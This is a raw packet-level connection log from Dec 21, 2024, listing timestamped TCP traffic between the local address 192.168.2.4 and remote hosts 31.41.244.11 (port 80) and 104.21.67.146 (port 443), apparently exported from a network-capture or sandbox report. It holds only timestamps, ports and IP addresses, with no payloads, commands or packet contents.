Dec 21, 2024 18:16:21.315479040 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.315540075 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.317622900 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.317677021 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.317954063 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.318006992 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.320636988 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.320698023 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.320810080 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.320863962 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.323544025 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.323561907 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.323599100 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.323612928 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.326400995 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.326455116 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.326580048 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.326633930 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.329310894 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.329328060 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.329371929 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.329371929 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.332207918 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.332262993 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.332370043 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.332422972 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.335010052 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.335069895 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.335146904 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.335194111 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.337949991 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.337999105 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.338113070 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.338165998 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.340929031 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.340985060 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.341087103 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.341137886 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.343831062 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.343883038 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.343991995 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.344048023 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.346606970 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.346782923 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.346905947 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.346905947 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.349452019 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.349560022 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.349579096 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.349651098 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.349668026 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.349679947 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.354871035 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.354892015 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.354927063 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.354959965 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.355346918 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.355400085 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.355498075 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.355551958 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.358196974 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.358248949 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.358361959 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.358409882 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.361129999 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.361201048 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.371278048 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.371380091 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.371390104 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.373835087 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.373898029 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.373905897 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.374078989 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.374140978 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.374202967 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.374217033 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.374259949 CET	49789	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.374267101 CET	443	49789	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.409770966 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.409841061 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.409934998 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.409985065 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.410924911 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.410974026 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.411091089 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.411139965 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.413187027 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.413382053 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.413657904 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.413744926 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.415471077 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.415487051 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.415514946 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.415532112 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.417751074 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.417768002 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.417798996 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.417814016 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.419728994 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.419780970 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.419886112 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.419941902 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.422139883 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.422231913 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.422291994 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.422334909 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.424340963 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.424356937 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.424407959 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.426280022 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.426332951 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.426364899 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.426409006 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.428483009 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.428534031 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.429394960 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.429436922 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.431324959 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.431341887 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.431371927 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.431387901 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.433106899 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.433123112 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.433182955 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.433182955 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.435404062 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.435453892 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.435547113 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.435596943 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.437486887 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.437593937 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.437648058 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.437685966 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.439696074 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.439753056 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.439871073 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.439913988 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.441821098 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.441900015 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.442008018 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.442045927 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.443919897 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.443937063 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.443984032 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.445971012 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.446019888 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.446151972 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.446201086 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.448280096 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.448295116 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.448323011 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.448349953 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.450190067 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.450206041 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.450249910 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.450295925 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.452090979 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.452142954 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.452224970 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.452277899 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.454169989 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.454217911 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.454329967 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.454379082 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.456250906 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.456295967 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.456402063 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.456451893 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.458837986 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.458856106 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.458913088 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.460608959 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.460623980 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.460659981 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.460675001 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.462934017 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.462950945 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.462987900 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.463004112 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.464505911 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.464555025 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.464690924 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.464736938 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.466257095 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.466317892 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.466373920 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.466423035 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.468305111 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.468369961 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.468379974 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.468424082 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.468533993 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.472268105 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.472296000 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.472322941 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.472337961 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.472585917 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.472630024 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.472723961 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.472762108 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.474737883 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.474756956 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.474806070 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.475414991 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.475486994 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.475552082 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.475589037 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.476574898 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.476602077 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.476629019 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.476645947 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.477442980 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.477461100 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.477504015 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.478481054 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.478557110 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.478641033 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.478795052 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.479511023 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.479554892 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.479679108 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.479726076 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.480448961 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.480521917 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.480631113 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.480664015 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.481336117 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.481391907 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.481520891 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.481578112 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.482464075 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.482522011 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.482666969 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.482711077 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.483428001 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.483473063 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.483567953 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.483612061 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.484455109 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.484509945 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.484597921 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.484671116 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.485455036 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.485500097 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.485596895 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.485646009 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.486484051 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.486500978 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.486531019 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.486546040 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.487521887 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.487539053 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.487582922 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.488697052 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.488745928 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.488873959 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.488950968 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.489587069 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.489645004 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.489765882 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.489814043 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.490467072 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.490514040 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.490638018 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.490677118 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.491533995 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.491580009 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.491717100 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.491925001 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.492595911 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.492613077 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.492638111 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.492654085 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.493526936 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.493581057 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.493666887 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.493710995 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.494554043 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.494632959 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.494699001 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.494750023 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.495692015 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.495708942 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.495781898 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.496579885 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.496630907 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.576522112 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.576571941 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.576658964 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.576973915 CET	49795	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:21.576988935 CET	443	49795	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:21.601979971 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.602041006 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.602222919 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.602277040 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.602602005 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.602653980 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.602838039 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.602890015 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.603024006 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.603075027 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.604118109 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.604176044 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.604208946 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.604357004 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.604943991 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.604995012 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.605067968 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.605122089 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.606136084 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.606228113 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.606240988 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.606281042 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.607095957 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.607150078 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.607172012 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.607213020 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.607935905 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.607988119 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.608019114 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.608073950 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.608973026 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.608990908 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.609039068 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.609066010 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.609827995 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.609893084 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.609913111 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.609997034 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.610845089 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.610907078 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.610985994 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.611023903 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.611807108 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.611872911 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.611920118 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.611958981 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:21.612581015 CET	80	49788	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:21.612633944 CET	49788	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:22.796983957 CET	443	49795	104.21.67.146	192.168.2.4
